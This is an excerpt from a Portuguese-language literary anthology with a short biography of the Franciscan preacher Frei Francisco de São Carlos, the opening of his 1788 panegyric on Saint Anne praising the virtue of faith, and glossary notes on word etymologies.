FREI FRANCISCO DE SÃO CARLOS

FREI FRANCISCO DE SÃO CARLOS (Rio de Janeiro, 1763-1829) tomou o hábito franciscano na idade de treze anos. Desempenhou vários cargos na sua Ordem, lecionou Eloqüência Sagrada no Seminário de São José, e de D. João VI, que muito o admirava, recebeu o título de pregador régio. Escreveu um poema sacro, A Assunção da Santa Virgem, no qual harmonicamente soam as cordas da religião e do patriotismo. Pouco, bem pouco resta de seus esplêndidos sermões, mas pelas ruínas se avalia a magnificência do monumento derruído.

Que Tesouro

Que tesouro tão precioso será este, meus irmãos, que o negociante do Evangelho não duvida sacrificar todos os seus bens, contanto que o chegue a possuir? Embora os sagrados intérpretes se dividam em seus pareceres; embora uns digam que é a doutrina evangélica; outros, que é o reino do céu; outros, o desprezo dos bens terrenos, como São Gregório; outros, que é mesmo Jesus Cristo, como Santo Agostinho: enquanto a mim, eu penso que é a virtude da fé, esta virtude sem a qual, diz São Paulo, não se pode agradar a Deus. Ela foi o sinal característico dos maiores santos e dos mais ilustres personagens (311) da antiga lei. Pelo sacrifício que Abraão fêz do seu filho no alto do Mória, conheceu-se o heroísmo da virtude e da fé deste pai dos crentes. Ela é quem nutria na vida espiritual, quem sustinha, quem consolava os justos do Antigo Testamento nos seus trabalhos e adversidades: ou eles descessem ao Egito, impelidos da fome e esterilidade; ou fossem conduzidos à Caldeia em cativeiro pelos reis da Assíria; ou vissem assentados no sólio de Davi um Idumeu, senhor do cetro de Judá.

A fé é quem adoçava o ferro de seus grilhões, quem enxugava as lágrimas dos seus desterros, quem os sustinha no meio de provas tão rudes. Ela é quem os separava desta massa geral da corrupção que dominava então sobre a face da terra, quem os distinguia das nações incircuncisas, que curvavam o joelho e queimavam incenso (312) às obras de suas mãos, quem os fazia um povo à parte, uma crença à parte, em uma palavra um povo santo, depósito da fé das promessas divinas. A esperança de um reparador que havia de sair desta nação privilegiada, era uma tradição inalterável, que no seio das famílias se perpetuava de pais a filhos, de geração em geração, e de século cm século, e que na ordem da graça fazia vegetar esta porção escolhida da humanidade. Na fé, pois, destas promessas e destas verdades, ocultas ao resto das nações, tem um lugar bem distinto a ilustre santa, vossa protetora, a quem tributamos os presentes cultos. Sim, senhores, foi pela fé que Ana achou no campo místico da Sinagoga o tesouro precioso que a elevou, no céu da nova igreja evangélica, a tão alto grau de celebridade. Vendit universa quae habet, et emit agrum illum. Por esta virtude, enfim, ela mereceu ser a mãe de Maria, e avó de Jesus Cristo. Debaixo deste ponto de vista, eu venho tecer o seu elogio, mostrando promiscuamente seus trabalhos e suas recompensas, seus combates e seus triunfos. Digne-se a Santa Virgem, sua filha, de alcançar-me de seu esposo, o Espírito–Santc, as luzes necessárias para desempenhar tão grande objeto. Ave Maria.

(Paanegírico de Sant’Ana, recitado no Rio Bonito, em 1788).

Glossário

(311) V. n. 65.
(312) incenso,
do part. p. lat. de incendtre: incensu, queimado, a que se subentende o subst. tus, ou thus, a planta cujas raízes aromáticas se queimam. É um caso de braquilogia ou encurtamento da locução, mediante a perda de um dos elementos, cuja significação permanece no outro. De mentha hortulana, por exemplo, ficou, na língua, hortelã, que era o adjetivo, sobreposto assim ao nome da planta mentha (que o povo, por ignorância, transformou desde então em pimenta: hortelã-pimenta); de tumba ersa, túmulo erguido, restou apenas essa (que se grafava erroneamente eça); de canis gallicus (cão gaulês) subsistiu galgo; de tempus hibernum, inverno; de iempus aestivum, estio; de tempus veranum (primavera), verão; de nummus solidus, soldo; de numerus denarius, dinheiro; de malum persicum, pêssego; de nux abellana (noz de Abella), avelã; de mala matiana (maçã da cidade de Mattium), maçã; de hora sexta, a sesta; de febris tertiana, terça; de vestis abbatina (veste do abade), batina (com deglutinação do — a — inicial, tomado’ como artigo; de via strata (caminho estendido, traçado; do v. ster-n¥re), estrada. O termo esqueleto (do gr. skeletós, seco, dessecado) subentende um substantivo, anthropos, homem; como mastim e molosso se referem a canis, cão; canis *mansuetinus > *mas(e)tinus (de mansuetus e este de manui suetus = acostumado a obedecer à mão: domesticado, manso); canis molossus, do gr. molossós, do país dos Molossos, no Epiro.


Seleção e Notas de Fausto Barreto e Carlos de Laet. Fonte: Antologia nacional, Livraria Francisco Alves.

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